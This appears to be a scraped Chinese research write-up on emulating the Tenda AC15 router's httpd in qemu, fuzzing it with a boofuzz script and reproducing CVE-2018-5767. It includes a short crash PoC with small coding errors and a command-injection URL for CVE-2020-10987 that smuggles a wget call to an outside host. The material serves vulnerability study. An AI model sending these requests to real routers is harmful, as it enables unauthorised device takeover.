固件中的单个二进制模拟:Tenda AC15 路由器 CVE 您所在的位置:网站首页 腾达ac6固件下载 固件中的单个二进制模拟:Tenda AC15 路由器 CVE

固件中的单个二进制模拟:Tenda AC15 路由器 CVE

#固件中的单个二进制模拟:Tenda AC15 路由器 CVE| 来源: 网络整理| 查看: 265

设备:Tenda AC15 路由器(可能包含其他系列路由器)

固件版本:Open Subviews–>Local Types 中可以看到本地已有的结构体,右击 insert.可以添加 C 语言声明的结构体

对于 AC15 httpd ,进一步分析 wp 入参的定义,添加以下两个结构体

struct ringq_t{ unsigned char *buf; /* Holding buffer for data */ unsigned char *servp; /* Pointer to start of data */ unsigned char *endp; /* Pointer to end of data */ unsigned char *endbuf; /* Pointer to end of buffer */ int buflen; /* Length of ring queue */ int maxsize; /* Maximum size */ int increment; /* Growth increment */ } struct websRec { ringq_t header; /* Header dynamic string */ __time_t since; /* Parsed if-modified-since time */ char* cgiVars; /* CGI standard variables */ char* cgiQuery; /* CGI decoded query string */ __time_t timestamp; /* Last transaction with browser */ int timeout; /* Timeout handle */ char ipaddr[32]; /* Connecting ipaddress */ char type[64]; /* Mime type */ char *dir; /* Directory containing the page */ char *path; /* Path name without query */ char *url; /* Full request url */ char *host; /* Requested host */ char *lpath; /* Cache local path name */ char *query; /* Request query */ char *decodedQuery; /* Decoded request query */ char *authType; /* Authorization type (Basic/DAA) */ char *password; /* Authorization password */ char *userName; /* Authorization username */ char *cookie; /* Cookie string */ char *userAgent; /* User agent (browser) */ char *protocol; /* Protocol (normally HTTP) */ char *protoVersion; /* Protocol version */ int sid; /* Socket id (handler) */ int listenSid; /* Listen Socket id */ int port; /* Request port number */ int state; /* Current state */ int flags; /* Current flags -- see above */ int code; /* Request result code */ int clen; /* Content length */ int wid; /* Index into webs */ char *cgiStdin; /* filename for CGI stdin */ int docfd; /* Document file descriptor */ int numbytes; /* Bytes to transfer to browser */ int written; /* Bytes actually transferred */ void (*writeSocket)(struct websRec *wp); } 0x12 CVE-2018-5767 栈溢出

在 sub_2D3F0 函数中,也发现类似的回调函数注册,只是这里,有一个不同寻常的函数 R7WebsSecurityHandler,应该是路由器开发人员自己实现的一个函数

在这里插入图片描述 找到此函数定义,并将入参 1 修改为结构体 websRec

在这里插入图片描述 sscanf 会从 cookie 字段读取 password 的值,复制到局部变量 v35 ,从而导致栈溢出。

0x13 CVE-2020-10987 远程命令执行

这个漏洞存在多个系列路由器中,包括但不限于以下型号腾达路由器,以及各个型号所有已发布的固件版本都受该漏洞影响,经过验证和分析,该安全问题影响腾达路由器的最新版本固件。

AC 6AC 7AC 8AC 9AC 11AC 15

腾达(Tenda) AC 提供Web服务组件中的goform插件存在一个设计缺陷,权限验证不严格,可在未登陆验证的情况下发送特定的数据包成功利用此问题,触发任意命令执行,进而控制路由器设备,Web服务为root权限启动,获取到腾达路由器的最高权限。

这个漏洞在笔者下载的目标固件中,并不存在,所以没有进一步分析,其实漏洞也是比较简单的,命令执行的路径为

http://x.x.x.x/goform/setUsbUnload/?deviceName=;%20wget%20http://dnslog

结合目标目标二进制的反编译程序,就知道了,分析步骤还是类似的。

0x20 搭建目标进程仿真环境 0x21 绕过判断条件

解压固件,尝试运行 httpd,会卡在如下界面

┌──(lys㉿kali)-[~/…/IoT/firmware/_AC15.bin.extracted/squashfs-root] └─$ qemu-arm -L ./ ./bin/httpd init_core_dump 1784: rlim_cur = 0, rlim_max = -1 init_core_dump 1794: open core dump success sh: 1: cannot create /proc/sys/kernel/core_pattern: Permission denied init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120 Yes: ****** WeLoveLinux****** Welcome to ...

分析 httpd 的反编译代码,在函数入口处发现调用了 check_network 外部函数,该函数如果返回值为 0,则一直处于睡眠状态

在这里插入图片描述 比较快捷的方式就是修改 httpd 对应的汇编代码,直接绕过该判断条件

在这里插入图片描述 一个很好用的在线汇编和反汇编器

在这里插入图片描述 此时再次运行,目标进程有了新的进展

┌──(lys㉿kali)-[~/…/IoT/firmware/_AC15.bin.extracted/squashfs-root] └─$ qemu-arm -L ./ ./bin/httpd 1 ⚙ init_core_dump 1784: rlim_cur = 0, rlim_max = -1 init_core_dump 1794: open core dump success sh: 1: cannot create /proc/sys/kernel/core_pattern: Permission denied init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120 Yes: ****** WeLoveLinux****** Welcome to ... connect: No such file or directory Connect to server failed. connect cfm failed!

通过搜索关键字 connect cfm failed! 定位到相关代码,继续修改 httpd

在这里插入图片描述 再次运行 httpd,发现得到的 IP 地址明显有问题

在这里插入图片描述 这里是因为没有获取到网卡信息,导致得到了一个随机的 IP 地址,也就是说,虽然该进程跑起来了,但是我们没有办法通过宿主机的网卡连接到 httpd

0x22 修复网卡配置信息

回到 check_network 函数,这是一个外部函数,定义在 libcommon.so 中

在这里插入图片描述 继续分析

int getLanIfName() { return get_eth_name(0); }

又发现一个外部函数 get_eth_name,其定义在库 libChipApi.so

在这里插入图片描述 因此,路由器守护进程 httpd 想要获取的网卡名称是 “br0”。直接在宿主机上新建一个名为 “br0” 的网卡

sudo tunctl -t br0 -u lys sudo ifconfig br0 192.168.10.1/24

此时运行 httpd,即可发现该进程已经成功获取网卡的 IP 地址

在这里插入图片描述

0x30 漏洞发现与验证 0x31 协议 fuzz

boofuzz 是一个专门针对协议进行 fuzz 的工具,功能十分强大,但是缺乏相关文档。入门请参考:IoT 设备网络协议模糊测试工具boofuzz实战。根据相关报文,定制脚本如下

from boofuzz import * IP = "192.168.0.5" PORT = 80 def check_response(target, fuzz_data_logger, session, *args, **kwargs): fuzz_data_logger.log_info("Checking test case response...") try: response = target.recv(512) except: fuzz_data_logger.log_fail("Unable to connect to target. Closing...") target.close() return #if empty response if not response: fuzz_data_logger.log_fail("Empty response, target may be hung. Closing...") target.close() return #remove everything after null terminator, and convert to string #response = response[:response.index(0)].decode('utf-8') fuzz_data_logger.log_info("response check...\n" + response.decode()) target.close() return def main(): ''' options = { "start_commands": [ "sudo chroot /home/lys/Documents/IoT/firmware/_AC15_V15.03.1.16.bin.extracted/squashfs-root ./httpd" ], "stop_commands": ["echo stopping"], "proc_name": ["/usr/bin/qemu-arm-static ./httpd"] } procmon = ProcessMonitor("127.0.0.1", 26002) procmon.set_options(**options) ''' session = Session( target=Target( connection=SocketConnection(IP, PORT, proto="tcp"), # monitors=[procmon] ), post_test_case_callbacks=[check_response], ) s_initialize(name="Request") with s_block("Request-Line"): # Line 1 s_group("Method", ["GET"]) s_delim(" ", fuzzable=False, name="space-1-1") s_string("/goform/123", fuzzable=False) # fuzzable 1 s_delim(" ", fuzzable=False, name="space-1-2") s_static("HTTP/1.1", name="HTTP_VERSION") s_static("\r\n", name="Request-Line-CRLF-1") # Line 2 s_static("Host") s_delim(": ", fuzzable=False, name="space-2-1") s_string("192.168.0.5", fuzzable=False, name="IP address") s_static("\r\n", name="Request-Line-CRLF-2") # Line 3 s_static("Connection") s_delim(": ", fuzzable=False, name="space-3-1") s_string("keep-alive", fuzzable=False, name="Connection state") s_static("\r\n", name="Request-Line-CRLF-3") # Line 4 s_static("Cookie") s_delim(": ", fuzzable=False, name="space-4-1") s_string("bLanguage", fuzzable=False, name="key-bLanguage") s_delim("=", fuzzable=False) s_string("en", fuzzable=False, name="value-bLanguage") s_delim("; ", fuzzable=False) s_string("password", fuzzable=False, name="key-password") s_delim("=", fuzzable=False) s_string("ce24124987jfjekfjlasfdjmeiruw398r", fuzzable=True) # fuzzable 2 s_static("\r\n", name="Request-Line-CRLF-4") # over s_static("\r\n") s_static("\r\n") session.connect(s_get("Request")) session.fuzz() if __name__ == "__main__": main()

目标进程崩溃

在这里插入图片描述 boofuzz 日志中能够看到相应的 crash,说明该用例导致进程崩溃

在这里插入图片描述

0x32 POC

可以编写简单的脚本验证

import requests ip = 192.168.0.5 url = "http://%s/goform/execCommand"% ip cookie = {"Cookir":"password=" + "A"*501} ret = requests.get(url=url,cookies=cookie) print ret.text

下一步:漏洞利用,栈溢出的利用相对来说还是比较简单的…

0x40 总结

对于传统路由器,单个二进制依赖程度不高,往往能够独立运行,在这种情况下,我们是有可能直接使用 qemu 将一些核心业务拉起来。本文就是利用这种方法,搭建了漏洞复现环境。在分析漏洞时,结合代码类比技术,利用开源代码,对二进制进行修复,这样能够让我们更加清楚整个漏洞形成的原因。

但是,这种复现环境的缺陷也是致命的:没有将整个核心业务跑起来,不知道具体业务场景,也就无法更好的定制化 Fuzz。因此,这种方式更加适合漏洞复现,而不是漏洞发现,要想挖掘路由器的漏洞,最好的方式还是购买真实产品,或者进行系统级别的仿真。



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有